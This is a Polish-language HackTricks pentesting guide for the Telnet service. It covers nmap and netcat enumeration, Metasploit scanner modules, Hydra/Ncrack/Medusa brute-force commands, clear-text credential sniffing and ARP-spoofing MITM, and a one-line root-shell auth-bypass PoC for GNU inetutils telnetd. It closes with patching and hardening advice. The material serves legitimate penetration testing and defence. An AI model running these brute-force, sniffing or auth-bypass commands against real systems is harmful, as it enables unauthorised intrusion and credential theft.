23 - Pentesting Telnet

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Podstawowe informacje

Telnet jest protokołem sieciowym, który zapewnia użytkownikom niezaszyfrowany sposób dostępu do komputera przez sieć.

Domyślny port: 23

23/tcp open  telnet

Enumeracja

nc -vn <IP> 23

Wszystkie interesujące działania enumeracyjne można przeprowadzić za pomocą nmap:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

Skrypt telnet-ntlm-info.nse pobierze informacje NTLM (wersje Windows).

Z telnet RFC: W protokole TELNET istnieją różne “options”, które będą zatwierdzone i mogą być używane ze strukturą “DO, DON’T, WILL, WON’T”, aby umożliwić klientowi i serwerowi uzgodnienie użycia bardziej rozbudowanego (lub po prostu innego) zestawu konwencji dla ich połączenia TELNET. Takie opcje mogą obejmować zmianę zestawu znaków, trybu echo itp.

Wiem, że możliwe jest wyenumerowanie tych opcji, ale nie wiem jak, więc daj znać, jeśli wiesz jak.

Enumerowanie opcji / funkcji Telnet

Telnet używa negocjacji IAC + DO/DONT/WILL/WONT do aktywacji opcji. Możesz zaobserwować obsługiwane opcje, przechwytując początkową negocjację i sondując konkretne funkcje.

Nmap option/feature probes

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

Skrypt telnet-encryption sprawdza, czy opcja ENCRYPT jest obsługiwana; niektóre implementacje historycznie obsługiwały tę opcję nieprawidłowo i były podatne, ale skrypt jedynie sprawdza obsługę. Skrypt telnet-ntlm-info ujawnia metadane NTLM (NetBIOS/DNS/OS build), gdy Microsoft Telnet NTLM jest włączony. telnet-brute to audytor NSE do brute-force dla Telnet.

Brute force

Plik konfiguracyjny

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks Automatyczne polecenia

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

Ostatnie podatności (2022-2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Niewłaściwa walidacja wejścia w usłudze telnet pozwala zdalnym atakującym zalogować się przy użyciu wbudowanych poświadczeń i wstrzykiwać polecenia systemu operacyjnego; naprawione w firmware 1.04B05 lub nowszym.
  • CVE-2023-40478 – NETGEAR RAX30: Stack-based buffer overflow w Telnet CLI passwd umożliwia network-adjacent code execution jako root; uwierzytelnienie jest wymagane, ale można je obejść.
  • CVE-2022-39028 – GNU inetutils telnetd: Sekwencja dwubajtowa (0xff 0xf7 / 0xff 0xf8) może wywołać NULL-pointer dereference w telnetd, a powtarzające się awarie mogą spowodować, że inetd wyłączy usługę (DoS).

Weź te CVE pod uwagę podczas triage podatności — jeśli cel działa na niezałatanym firmware lub starszym inetutils Telnet daemon, możesz mieć prostą drogę do code-execution lub zakłócającego DoS.

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)

Mechanizm: Telnet NEW_ENVIRON pozwala klientom przesyłać zmienne środowiskowe podczas negocjacji opcji; inetutils telnetd zastępuje %U w szablonie logowania wartością z getenv("USER") i przekazuje ją bezpośrednio do /usr/bin/login, umożliwiając argv-level option injection (no shell expansion). Przyczyna: wersje 1.9.3–2.7 rozwijają %U bez filtrowania, więc wartość USER zaczynająca się od - jest traktowana jako flaga login. Na przykład %U staje się -f root, dając /usr/bin/login -h <hostname> "-f root" i pomijając uwierzytelnienie poprzez login -f.

Przebieg exploita:

  1. Połącz się z usługą Telnet i w negocjacji NEW_ENVIRON ustaw USER=-f root.
  2. telnetd buduje argv dla login, włączając kontrolowaną przez atakującego wartość %U.
  3. /usr/bin/login interpretuje -f root jako “pre-authenticated user root” i uruchamia shell roota.

PoC

# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>

Informacja o poprawce: inetutils 2.7-2 wprowadza helper sanitize(), który odrzuca wartości zaczynające się od - lub zawierające białe znaki/metaznaki przed wstawieniem ich do argv procesu logowania, blokując option injection. Wykrywanie/weryfikacja: zidentyfikuj wystawione demony za pomocą telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, lub netstat -tlnp | grep :23.

Środki zaradcze

  • Zainstaluj poprawki/aktualizuj dotknięte pakiety natychmiast (np. poprawki Debiana są w 2:2.4-2+deb12u2, 2:2.6-3+deb13u1, oraz 2:2.7-2).
  • Wyłącz Telnet lub ogranicz dostęp do zaufanych sieci zarządzania podczas aktualizacji.

Podsłuchiwanie poświadczeń & Man-in-the-Middle

Telnet przesyła wszystko, włącznie z poświadczeniami, w clear-text. Dwa szybkie sposoby na ich przechwycenie:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

Dla aktywnego MITM połącz ARP spoofing (np. arpspoof/ettercap) z tymi samymi sniffing filters, aby zebrać hasła w sieciach przełączanych.

Zautomatyzowane Brute-force / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

Większość IoT botnetów (Mirai variants) nadal skanuje port 23 z użyciem small default-credential dictionaries — odzwierciedlenie tej logiki pozwala szybko zidentyfikować słabe urządzenia.

Exploitation & Post-Exploitation

Metasploit ma kilka przydatnych modułów:

  • auxiliary/scanner/telnet/telnet_version – banner & option enumeration.
  • auxiliary/scanner/telnet/brute_telnet – multithreaded bruteforce.
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).
  • exploit/linux/mips/netgear_telnetenable – enables telnet service with a crafted packet on many NETGEAR routers.

Po uzyskaniu powłoki pamiętaj, że TTYs are usually dumb; uaktualnij ją za pomocą python -c 'import pty;pty.spawn("/bin/bash")' lub użyj HackTricks TTY tricks.

Hardening & Detection (Blue team corner)

  1. Prefer SSH and disable Telnet service completely.
  2. If Telnet is required, bind it to management VLANs only, enforce ACLs and wrap the daemon with TCP wrappers (/etc/hosts.allow).
  3. Replace legacy telnetd implementations with ssl-telnet or telnetd-ssl to add transport encryption, but this only protects data-in-transit—password-guessing remains trivial.
  4. Monitor for outbound traffic to port 23; compromises often spawn reverse shells over Telnet to bypass strict-HTTP egress filters.

Źródła

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks